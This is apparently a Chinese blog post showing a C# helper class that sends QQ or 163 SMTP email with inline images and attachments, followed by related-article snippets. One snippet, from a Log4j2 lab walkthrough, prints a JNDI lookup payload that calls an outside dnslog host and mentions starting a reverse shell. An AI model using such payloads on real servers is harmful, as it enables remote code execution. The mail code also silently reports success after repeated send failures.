C#发送正文带图片带附件的邮件

news2024/11/15 9:37:07

1,开启服务,获取授权码。以QQ邮箱为例:

点击管理服务,进入账号与安全页面

 2,相关设置参数,以QQ邮箱为例:

登录时,请在第三方客户端的密码输入框里面填入授权码进行验证。(不是填入QQ的密码)
IMAP/SMTP 设置方法

用户名/帐户: 你的QQ邮箱完整的地址

密码: 生成的授权码

电子邮件地址: 你的QQ邮箱的完整邮件地址

接收邮件服务器: imap.qq.com,使用SSL,端口号993

发送邮件服务器: smtp.qq.com,使用SSL,端口号587

POP3/SMTP 设置方法

用户名/帐户: 你的QQ邮箱完整的地址

密码: 生成的授权码

电子邮件地址: 你的QQ邮箱的完整邮件地址

接收邮件服务器: pop.qq.com,使用SSL,端口号995

发送邮件服务器: smtp.qq.com,使用SSL,端口号587

3,2次包装代码:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Mail;
using System.Net.Mime;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
namespace Common
{
    /// <summary>
    /// 软件的邮箱类,用于发送邮箱数据
    /// </summary>
    public class Emailhelp
    {
        public static Emailhelp MailSystem163 = new Emailhelp(
           mail =>
           {
               mail.Host = "smtp.163.com";//使用163的SMTP服务器发送邮件
                                          //mail.UseDefaultCredentials = true;//在winform平台使用默认值
               mail.EnableSsl = true;
               mail.UseDefaultCredentials = false;//在.framework或mvc下使用这个
               mail.Port = 25;//端口号
               mail.DeliveryMethod = SmtpDeliveryMethod.Network;
               mail.Credentials = new System.Net.NetworkCredential("邮件发送地址(自己的邮件号)如1234656@qq.com", "刚才获取的授权码");
           },
           "邮件发送地址(自己的邮件号)如1234656@qq.com",
           "邮件发送地址(自己的邮件号)如1234656@qq.com"
       );
        /// <summary>
        /// 系统连续发送失败的次数,为了不影响系统,连续三次失败就禁止发送
        /// </summary>
        private static long SoftMailSendFailedCount { get; set; } = 0L;
        /// <summary>
        /// 系统的邮件发送客户端
        /// </summary>
        private SmtpClient smtpClient { get; set; }
        /// <summary>
        /// 发送邮件的地址
        /// </summary>
        private string MailFromAddress { get; set; } = "";
        /// <summary>
        /// 邮件发送的地址
        /// </summary>
        public string MailSendAddress { get; set; } = "";
        /// <summary>
        /// 实例化一个邮箱发送类,需要指定初始化信息
        /// </summary>
        /// <param name="mailIni">初始化的方法</param>
        /// <param name="addr_From">发送地址,应该和账户匹配</param>
        /// <param name="addr_to">邮件接收地址</param>
        /// <remarks>
        /// </remarks>
        public Emailhelp(Action<SmtpClient> mailIni, string addr_From = "", string addr_to = "")
        {
            smtpClient = new SmtpClient();
            mailIni(smtpClient);
            MailFromAddress = addr_From;
            MailSendAddress = addr_to;
        }
        private string GetExceptionMail(Exception ex)
        {
            return ex.Message;
        }
        /// <summary>
        /// 发送邮件
        /// </summary>
        /// <param name="addr_from">发送地址</param>
        /// <param name="name">发送别名</param>
        /// <param name="addr_to">接收地址</param>
        /// <param name="subject">邮件主题</param>
        /// <param name="body">邮件内容</param>
        /// <param name="attachment">附件地址</param>
        /// <param name="isHtml">邮件内容是否是HTML语言</param>
        /// <param name="priority">优先级</param>
        /// <returns>发生是否成功,内容不正确会被视为垃圾邮件</returns>
        public bool SendMail(string addr_from, string name, string[] addr_to, string subject, string body, string[] attachment, bool isHtml = false, MailPriority priority = MailPriority.Normal)
        {
            if (SoftMailSendFailedCount > 10)
            {
                SoftMailSendFailedCount++;
                return true;
            }
            MailMessage mailMessage = new MailMessage();
            try
            {
                mailMessage.From = new MailAddress(addr_from, name, Encoding.UTF8);
                foreach (string addresses in addr_to)
                {
                    mailMessage.To.Add(addresses);
                }
                mailMessage.Subject = subject;
                mailMessage.Body = body;
                MailMessage mailMessage2 = mailMessage;
                mailMessage2.Body = mailMessage2.Body + Environment.NewLine + Environment.NewLine + Environment.NewLine;
                mailMessage.SubjectEncoding = Encoding.UTF8;
                mailMessage.BodyEncoding = Encoding.UTF8;
                mailMessage.Priority = priority;
                mailMessage.IsBodyHtml = isHtml;
                for (int i = 0; i < attachment.Length; i++)
                {
                    Attachment address = new Attachment(attachment[i]);
                    mailMessage.Attachments.Add(address);
                }
                smtpClient.Send(mailMessage);
                SoftMailSendFailedCount = 0L;
                return true;
            }
            catch (Exception ex)
            {
                SoftMailSendFailedCount++;
                return false;
            }
        }
        /// <summary>
        /// 发送内容带有图片的邮件
        /// </summary>
        /// <param name="sfrom">发件人邮箱地址</param>
        /// <param name="displayName">显示名</param>
        /// <param name="addr_to">收件人地址</param>
        /// <param name="sSubject">标题</param>
        /// <param name="sBody">邮件内容</param>
        /// <param name="attachment">邮件附件</param>
        /// <returns></returns>
        public bool Send(string sfrom, string displayName, string[] addr_to, string sSubject, string sBody, string[] attachment)
        {
            MailMessage oMail = new MailMessage();
            oMail.From = new MailAddress(sfrom, displayName, Encoding.UTF8);
            foreach (var item in addr_to)
            {
                oMail.To.Add(item);
            }
            //  添加附件
            if (attachment != null)
            {
                foreach (var item in attachment)
                {
                    oMail.Attachments.Add(new Attachment(item));
                }
            }
            sBody = ReplaceImg(sBody, oMail);  // 处理图片
            oMail.Subject = sSubject;  //邮件标题
            oMail.Body = sBody;   //邮件内容
            oMail.IsBodyHtml = true;  //邮件格式
            oMail.BodyEncoding = Encoding.GetEncoding("GB2312");  //邮件采用的编码
            oMail.Priority = MailPriority.High;  //设置邮件的优先级为高
            try
            {
                smtpClient.Send(oMail);
                return true;
            }
            catch (Exception e)
            {
                SoftMailSendFailedCount++;
                return false;
            }
            finally
            {
                oMail.Dispose();  //释放资源
            }
        }
        /// <summary>
        /// 处理邮件内容中的图片
        /// 将图片改为附件形式在body中显示
        /// </summary>
        /// <param name="body"></param>
        /// <returns></returns>
        private string ReplaceImg(string body, MailMessage m)
        {
            try
            {
                Dictionary<string, Stream> imgDic = new Dictionary<string, Stream>();
                body = GetImgStream(body, imgDic);
                AlternateView avHtml = AlternateView.CreateAlternateViewFromString(body, null, MediaTypeNames.Text.Html);
                if (imgDic.Count != 0) // 内容添加图片
                {
                    foreach (var dic in imgDic)
                    {
                        LinkedResource lrImage = new LinkedResource(dic.Value, "image/gif");
                        lrImage.ContentId = dic.Key;
                        avHtml.LinkedResources.Add(lrImage);
                    }
                }
                m.AlternateViews.Add(avHtml);
                return body;
            }
            catch (Exception)
            {
                return body;
            }
        }
        private string GetImgStream(string body, Dictionary<string, Stream> imgDic)
        {
            string mactch;
            Regex reg = new Regex(@"(?i)<img[^>]*?\ssrc\s*=\s*(['""]?)(?<src>[^'""\s>]+)\1[^>]*>");
            MatchCollection mc = reg.Matches(body);
            for (int i = 0; i < mc.Count; i++)
            {
                string key = "pic" + i;
                mactch = mc[i].Groups["src"].Value;
                body = body.Replace(mactch, "cid:" + key);
                FileStream fs = new FileStream(mactch, FileMode.Open);
                imgDic.Add(key, fs);
            }
            return body;
        }
    }
}

4,邮件效果:

特别说明:若要实现:

第1,正文带有背景图片。
第2,正文为自定义编辑风格(带有边框,不同颜色的字体)。
正文需要为html格式,普通文本格式无法实现。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115590.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

日语输入法平假名和片假名切换

在学日语输入法的时候&#xff0c;我们在使用罗马音输入的时候&#xff0c;在进行平假名和片假名切换&#xff1a; 1、使用电脑在打字&#xff0c;日语输入法切换的时候使用 Shift Alt 如果日语输入法显示为 A 需要切换为 あ的话可以按Caps Lock键 。&#xff08;相当于中文…

【LeetCode】 Z 字形变换

1. 题目 2. 分析 充分地思考问题&#xff0c;然后得出抽象解&#xff0c;最后再写代码。 本题初看是有点儿麻烦的&#xff0c;因为有个N型的变换&#xff0c;但是如果把这个N型压缩一下&#xff0c;其实就是考虑每行放什么值的问题。那么问题就简化成当前的字符串的字符需要放…

C++中的一个标准输出流——cout

目录 开头1.什么是cout?2.C中的一个标准输出流——cout的实际应用打印“Hello, world!”打印大方块打印一个变量 下一篇博客要说的东西 开头 大家好&#xff0c;我叫这是我58。今天&#xff0c;我们要学一下关于C中的一个标准输出流——cout的一些知识。 1.什么是cout? cou…

react js 笔记 3

起因&#xff0c; 目的: 专注。 学习 react js 的时候&#xff0c; 就专注这一方面 &#xff0c;其他都不要碰。 比如&#xff0c; python, C语言&#xff0c; R, 都不看。 只看 js.专注&#xff0c;减少来回切换。 重复。 自己写的笔记&#xff0c;需要反复多看几遍&#xff…

如何使用正则表达式替换字符串中的特定位置数字

如何使用正则表达式替换字符串中的特定位置数字 1、效果 把字符串中的第一个123替换掉: 2、代码 使用正则中的sub函数: re.sub(pattern,repl,string,count=0,flags=0) pattern:表示需要匹配的模式,即需要被替换的字符或字符串。 repl:表示替换后的字符串或函数,用于…

远程代码执行-Log4j2漏洞

1.在vulhub中打开环境 进入环境所在的文件 打开环境 docker-compose up -d 2.浏览器访问打开环境 3.使用dnslog查看是否存在漏洞 solr/admin/cores?action${jndi:ldap://${sys:java.version}.9dbu98.dnslog.cn 发现可以返回java版本 说明存在漏洞 4.开始反弹shell 下载jd…

本地零阶提示优化

本文探讨了如何优化大型语言模型&#xff08;LLM&#xff09;中的提示&#xff08;prompt&#xff09;&#xff0c;以更有效地利用这些黑盒模型的能力。传统的优化方法倾向于寻找全局最优解&#xff0c;但在某些情况下这种做法可能表现不佳。通过对提示优化进行深入的研究&…

Qt/C++编写的Onvif调试助手调试神器工具/支持云台控制/预置位设置等/有手机版本

一、功能特点 广播搜索设备&#xff0c;支持IPC和NVR&#xff0c;依次返回。可选择不同的网卡IP进行对应网段设备的搜索。依次获取Onvif地址、Media地址、Profile文件、Rtsp地址。可对指定的Profile获取视频流Rtsp地址&#xff0c;比如主码流地址、子码流地址。可对每个设备设…

Linux下的PWM驱动

PWM PWM简介⭕ **PWM&#xff08;Pulse Width Modulation&#xff0c;脉冲宽度调制&#xff09;**是一种利用微处理器的数字输出对模拟电路进行控制的技术。通过改变脉冲的占空比&#xff0c;可以控制模拟电路的输出电压或电流。PWM技术广泛应用于电机控制、灯光调节、音频信号…

一份热乎的数据分析(数仓)面试题 | 每天一点点,收获不止一点

目录 1. 已有ods层⽤⼾表为ods_online.user_info&#xff0c;有两个字段userid和age&#xff0c;现设计数仓⽤⼾表结构如 下&#xff1a; 2. 设计数据仓库的保单表&#xff08;⾃⾏命名&#xff09; 3. 根据上述两表&#xff0c;查询2024年8⽉份&#xff0c;每⽇&#xff0c…

【反射知识点详解】

Java中的反射&#xff08;Reflection&#xff09;是一个非常强大的机制&#xff0c;它允许程序在运行时检查或修改类的行为。这种能力主要通过java.lang.reflect包中的类和接口来实现。 通过反射&#xff0c;Java程序可以动态地创建对象、调用方法、访问字段&#xff0c;以及获…

JS_分支结构

if结构 这里的if结构几乎和JAVA中的一样,需要注意的是 if()中的非空字符串会被认为是trueif()中的非零数字会被认为是trueif()中的非空对象会被认为是true <script> if(false){// 非空字符串 if判断为true console.log(true) }else{ console.log(false) } if(){// 长度…

统计进程的CPU和内存占用(最大,均值,90分位)

本文先通过top采集所有进程的CPU和内存情况并保存到文件&#xff0c;然后提取指定进程的数据&#xff0c;最后通过 python 对采集的数据进行可视化。 一、使用脚本采集top数据 1. 单次top输出如下 2. 编写脚本每隔1秒采集一次top数据保存到文件 #!/bin/bash# 按照年月日十分…

非线性建模问题的线性化思考

很长时间没有提笔写博&#xff0c;近两年来一直从事规划领域方面的研究&#xff0c;在熟悉业务的同时&#xff0c;对规划算法也有了新的看法。相比智能算法的概率性&#xff0c;规划算法对求解的精确性要求更高。 本篇博客将围绕非线性问题如何线性化典型问题&#xff0c;分类归…

协同过滤算法相关答辩问题、代码实现过程

我 | 在这里 ⭐ 全栈开发攻城狮、全网10W粉丝、2022博客之星后端领域Top1、专家博主。 &#x1f393;擅长 指导毕设 | 论文指导 | 系统开发 | 毕业答辩 | 系统讲解等。已指导60位同学顺利毕业 ✈️个人公众号&#xff1a;热爱技术的小郑。回复 Java全套视频教程 或 前端全套视频…

大学新生的学习秘诀:如何学习编程?(文末赠书)

1.为什么要学习编程 大学生学习编程不仅关乎个人技能的提升&#xff0c;还涉及到未来的职业发展、创新能力培养以及适应快速变化的社会需求。 (1)增强就业竞争力 当今数字化时代&#xff0c;编程技能已成为许多行业的必备技能。掌握编程能够让你在求职市场上脱颖而出&#x…

Vulhub Apache Airflow (CVE-2020-11978)

来到目录下初始化数据库 然后开启环境 查看端口访问 访问http://your-ip:8080进入airflow管理端&#xff0c;将example_trigger_target_dag前面的Off改为On&#xff1a; 再点击执行按钮&#xff0c;在Configuration JSON中输入&#xff1a;{"message":"\";…

SwiftUI 中如何花样玩转 SF Symbols 符号动画和过渡特效

概述 作为 Apple 开发中的全栈秃头老码农们&#xff0c;我们不但需要精通代码编写更需要有过硬的界面设计艺术功底。为了解决撸码与撸图严重脱节这一窘境&#xff0c;苹果从 iOS 13&#xff08;macOS 11&#xff09;开始引入了 SF Symbols 字符图形。 有了 SF Symbols&#xf…

【 html+css 绚丽Loading 】000043 太一玄元镜

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽Loading&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495…

ANSA联合ABAQS基于梁单元的螺栓预紧力分析实例

1、在螺栓孔之间创建一个模拟螺栓 ABAQUS界面→AUXILIARIES→bolt→分鳖选择上下两圈节点,这样在螺栓孔中间就会生成一个梁单元。 中键确定,因为螺杆使用的是变形体,所以接下来需要为其创建一个属性: 单击ok,完成虚拟螺栓的创建,该螺栓两端是刚性MPC,中间是弹性的梁单元…